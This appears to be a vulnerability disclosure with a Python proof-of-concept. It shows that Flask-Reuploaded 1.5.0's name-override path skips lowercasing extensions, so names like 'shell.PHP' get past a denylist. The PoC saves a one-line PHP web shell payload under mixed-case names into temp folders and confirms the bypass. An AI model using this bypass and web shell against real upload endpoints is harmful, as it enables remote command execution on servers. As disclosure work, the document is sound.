Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)

 1default path     : get_basename("shell.PHP")
 2                   = lowercase_ext(secure_filename("shell.PHP")) = "shell.php"
 3                   -> extension("shell.php") = "php"
 4                   -> extension_allowed("php")  -> DENY      (correct)
 5 
 6name-override    : secure_filename("shell.PHP") = "shell.PHP"   (case preserved)
 7                   -> basename = "shell.PHP"
 8                   -> ext = extension("shell.PHP") = "PHP"        (NOT lowercased)
 9                   -> extension_allowed("PHP")  -> ALLOW         (bypass)

 1# extensions.py:97
 2def __contains__(self, item): return item not in self.items
 3# "PHP" not in ('js','php','pl','py','rb','sh')  ->  True   ->  allowed

 1default path  : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
 2name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW

 1[1] save(storage("shell.PHP"))                              -> UploadNotAllowed   (default path blocked)
 2[2] save(storage("upload.bin"), name="shell.PHP")           -> saved "shell.PHP", on_disk=True   (BYPASS)
 3[2b] save(storage("upload.bin"), name="evil.pHp")           -> saved "evil.pHp",  on_disk=True; containment intact

 1[3] allowlist IMAGES, name="shell.PHP"  -> UploadNotAllowed: File extension 'PHP' is not allowed  (fail-closed)
 2[4] allowlist IMAGES, name="photo.jpg"  -> saved "photo.jpg"                                       (legit unaffected)

 1"""
 2PoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant
 3Case-folding asymmetry in the name-override extension re-validation.
 4 
 5Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a
 6`name` override is supplied, but routed it through the CASE-PRESERVING
 7`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the
 8default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet
 9(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the
10denylist that the default path correctly blocks.
11 
12  default path     : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
13  name-override    : secure_filename("shell.PHP") -> "shell.PHP" (case kept)
14                     -> extension("shell.PHP")  -> "PHP" -> extension_allowed("PHP") -> ALLOW
15 
16Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.
17"""
18import io
19import os
20import shutil
21import tempfile
22 
23from flask import Flask
24from flask_uploads import (
25    UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,
26)
27from werkzeug.datastructures import FileStorage
28import flask_uploads
29 
30 
31def make_storage(filename: str) -> FileStorage:
32    return FileStorage(
33        stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
34        filename=filename,
35        content_type="application/octet-stream",
36    )
37 
38 
39def run():
40    import importlib.metadata as md
41    print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")
42 
43    dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")
44    dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")
45 
46    app = Flask(__name__)
47    files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS))   # documented "allow all except scripts"
48    files_allow = UploadSet("filesallow", IMAGES)             # allowlist (fail-closed)
49    app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist
50    app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist
51    configure_uploads(app, (files_deny, files_allow))
52 
53    results = {}
54    with app.app_context():
55        # [1] default path, denylist -> must DENY
56        try:
57            saved = files_deny.save(make_storage("shell.PHP"))
58            results["default_path"] = f"SAVED as {saved}  <-- UNEXPECTED"
59        except UploadNotAllowed:
60            results["default_path"] = "DENIED (expected)"
61 
62        # [2] name-override, denylist -> BYPASS
63        try:
64            saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")
65            on_disk = os.path.join(dest_denylist, saved)
66            results["variant"] = f"BYPASS — saved as {saved}, on_disk={os.path.exists(on_disk)}"
67        except UploadNotAllowed:
68            results["variant"] = "DENIED (variant did NOT reproduce)"
69 
70        # [2b] mixed-case generality + containment intact
71        try:
72            saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")
73            on_disk = os.path.join(dest_denylist, saved)
74            inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))
75            results["variant_mixed"] = f"BYPASS — saved as {saved}, inside_dest={inside}"
76        except UploadNotAllowed:
77            results["variant_mixed"] = "DENIED"
78 
79        # [3] allowlist -> fail closed
80        try:
81            saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")
82            results["allowlist"] = f"SAVED as {saved}  <-- allowlist leaked"
83        except UploadNotAllowed:
84            results["allowlist"] = "DENIED (expected — allowlist fails closed)"
85 
86        # [4] legit upload -> allowed
87        try:
88            saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")
89            results["legit"] = f"SAVED as {saved} (expected)"
90        except UploadNotAllowed:
91            results["legit"] = "DENIED (UNEXPECTED — legit upload broke)"
92 
93    print("VERDICT:")
94    for k, v in results.items():
95        print(f"   {k:14s}: {v}")
96 
97    confirmed = (
98        "BYPASS" in results.get("variant", "")
99        and results.get("default_path") == "DENIED (expected)"
100        and "DENIED" in results.get("allowlist", "")
101    )
102    print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED — honest cut")
103 
104    shutil.rmtree(dest_denylist, ignore_errors=True)
105    shutil.rmtree(dest_allowlist, ignore_errors=True)
106 
107 
108if __name__ == "__main__":
109    run()